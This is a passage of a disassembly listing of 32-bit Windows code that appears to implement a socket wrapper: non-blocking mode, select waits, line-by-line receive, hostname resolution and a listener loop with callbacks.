		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	near ptr 71AB4519h
		nop
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		call	near ptr 71AB4FD4h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DD4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		nop
		call	near ptr 27E08AFh
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DD4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F70
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E84
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


